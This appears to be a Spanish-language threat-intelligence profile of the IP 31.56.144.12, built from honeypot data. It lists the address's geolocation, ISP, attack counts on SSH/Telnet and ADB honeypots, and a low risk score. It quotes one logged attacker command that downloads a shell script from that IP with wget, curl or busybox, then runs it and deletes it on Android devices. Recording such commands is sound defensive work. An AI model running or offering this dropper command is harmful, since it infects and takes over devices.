TROYANOSYVIRUS
Amenaza ActivaBAJO

31.56.144.12

Primera Deteccion25/4/2026
Ultima Actividad25/4/2026
ISPStarLight Network, Inc.
🎯
11
Ataques Totales
🔌
2
Puertos
📡
2
Tipos Ataque
🦠
0
Malware

Geolocalizacion

Pais
🇺🇸 Estados Unidos
Ciudad
Reston
ASN
AS214828
ISP
StarLight Network, Inc.

Tipos de Ataque

ssh_telnet_honeypot
adb_honeypot

Puertos Atacados

235555

Malware Asociado

Sin malware asociado

Comandos Ejecutados

$cd /data/local/tmp || cd /sdcard || cd /data/tmp || cd /mnt/sdcard; (wget http://31.56.144.12/cat.sh -O cat.sh || curl -O http://31.56.144.12/cat.sh || busybox wget http://31.56.144.12/cat.sh -O cat.sh); chmod 777 cat.sh; sh cat.sh; rm -rf cat.sh3x

Exposicion segun Shodan InternetDBShodan

Datos de InternetDB, actualizacion no en tiempo real

Evaluacion de Riesgo

25
/100
BajoMedioAltoCritico